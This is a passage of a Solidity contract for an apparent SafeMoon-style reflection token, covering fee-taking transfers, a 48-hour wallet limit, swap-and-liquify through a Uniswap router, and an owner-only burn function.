	function restoreAllFee() private {
		_taxFee = _previousTaxFee;
		_liquidityFee = _previousLiquidityFee;
		_devFee = _previousDevFee;
	}
	
	function isExcludedFromFee(address account) public view returns (bool) {
		return _isExcludedFromFee[account];
	}
	
	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}
	
	function _transfer(
		address from,
		address to,
		uint256 amount
	) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		
		if (to != owner() && to != address(this) && to != uniswapV2Pair && to != address(1)) {
			uint256 contractTokenBalanceTo = balanceOf(to);
			// buy limit on first 48 hours, no of blocks, (48 * 60 * 60) / 3s = 57600 (blocks)
			if (block.number - deployedAtBlock < 57600) { // if not 48 hours has passed, set the buy limit
				require((contractTokenBalanceTo + amount) <= _maxWalletToken, AppendStr("Exceeds the MaxWalletToken: ", uint2str(contractTokenBalanceTo + amount), " max: ", uint2str(_maxWalletToken)));
			}
		}
		// is the token balance of this contract address over the min number of
		// tokens that we need to initiate a swap + liquidity lock?
		// also, don't get caught in a circular liquidity event.
		// also, don't swap & liquify if sender is uniswap pair.
		uint256 contractTokenBalance = balanceOf(address(this));
		
		if (contractTokenBalance >= _maxTxAmount)
		{
			contractTokenBalance = _maxTxAmount;
		}
		
		bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
		if (
			overMinTokenBalance &&
			!inSwapAndLiquify &&
			from != uniswapV2Pair &&
			swapAndLiquifyEnabled
		) {
			contractTokenBalance = numTokensSellToAddToLiquidity;
			//add liquidity
			swapAndLiquify(contractTokenBalance);
		}
		
		//indicates if fee should be deducted from transfer
		bool takeFee = true;
		
		//if any account belongs to _isExcludedFromFee account then remove the fee
		if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
			takeFee = false;
		}
		
		//transfer amount, it will take tax, burn, liquidity fee
		_tokenTransfer(from, to, amount, takeFee);
	}
	
	function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
		// split the contract balance into halves
		uint256 half = contractTokenBalance.div(2);
		uint256 otherHalf = contractTokenBalance.sub(half);
		
		// capture the contract's current ETH balance.
		// this is so that we can capture exactly the amount of ETH that the
		// swap creates, and not make the liquidity event include any ETH that
		// has been manually sent to the contract
		uint256 initialBalance = address(this).balance;
		
		// swap tokens for ETH
		swapTokensForEth(half);
		// <- this breaks the ETH -> HATE swap when swap+liquify is triggered
		
		// how much ETH did we just swap into?
		uint256 newBalance = address(this).balance.sub(initialBalance);
		
		// add liquidity to uniswap
		addLiquidity(otherHalf, newBalance);
		
		emit SwapAndLiquify(half, newBalance, otherHalf);
	}
	
	function swapTokensForEth(uint256 tokenAmount) private {
		// generate the uniswap pair path of token -> weth
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = uniswapV2Router.WETH();
		
		_approve(address(this), address(uniswapV2Router), tokenAmount);
		
		// make the swap
		uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0, // accept any amount of ETH
			path,
			address(this),
			block.timestamp
		);
	}
	
	function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
		// approve token transfer to cover all possible scenarios
		_approve(address(this), address(uniswapV2Router), tokenAmount);
		
		// add the liquidity
		uniswapV2Router.addLiquidityETH{value : ethAmount}(
			address(this),
			tokenAmount,
			0, // slippage is unavoidable
			0, // slippage is unavoidable
			owner(),
			block.timestamp
		);
	}
	
	//this method is responsible for taking all fee, if takeFee is true
	function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
		if (!takeFee)
			removeAllFee();
		
		if (_isExcluded[sender] && !_isExcluded[recipient]) {
			_transferFromExcluded(sender, recipient, amount);
		} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
			_transferToExcluded(sender, recipient, amount);
		} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
			_transferStandard(sender, recipient, amount);
		} else if (_isExcluded[sender] && _isExcluded[recipient]) {
			_transferBothExcluded(sender, recipient, amount);
		} else {
			_transferStandard(sender, recipient, amount);
		}
		
		if (!takeFee)
			restoreAllFee();
	}
	
	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeLiquidity(tLiquidity);
		_takeDevFee(sender, tAmount);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}
	
	function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeLiquidity(tLiquidity);
		_takeDevFee(sender, tAmount);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}
	
	function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
		_tOwned[sender] = _tOwned[sender].sub(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeLiquidity(tLiquidity);
		_takeDevFee(sender, tAmount);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}
	
	function burn(uint256 burningAmount) public onlyOwner {
		_burn(_msgSender(), burningAmount);
	}
	function _burn(address account, uint256 burningAmount) internal virtual {
		require(account != address(0), "ERC20: burn from the zero address");
		uint256 currentRate =  _getRate();
		uint256 rBurningAmount = burningAmount.mul(currentRate);
		_tTotal = _tTotal.sub(burningAmount);
		_rTotal = _rTotal.sub(rBurningAmount);
		_rOwned[_msgSender()] = _rOwned[_msgSender()].sub(rBurningAmount);
		if (_isExcluded[address(this)])
			_tOwned[_msgSender()] = _tOwned[_msgSender()].sub(burningAmount);
		emit Transfer(account, address(0), burningAmount);
	}
	
	function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
		if (_i == 0)
			return "0";
		uint j = _i;
		uint len;
		while (j != 0) {
			len++;
			j /= 10;
		}
		bytes memory bstr = new bytes(len);
		uint k = len;
		while (_i != 0) {
			k = k - 1;
			uint8 temp = (48 + uint8(_i - _i / 10 * 10));
			bytes1 b1 = bytes1(temp);
			bstr[k] = b1;
			_i /= 10;
		}
		return string(bstr);
	}
	
	function AppendStr(string memory a, string memory b, string memory c, string memory d) internal pure returns (string memory) {
		return string(abi.encodePacked(a, b, c, d));
	}
}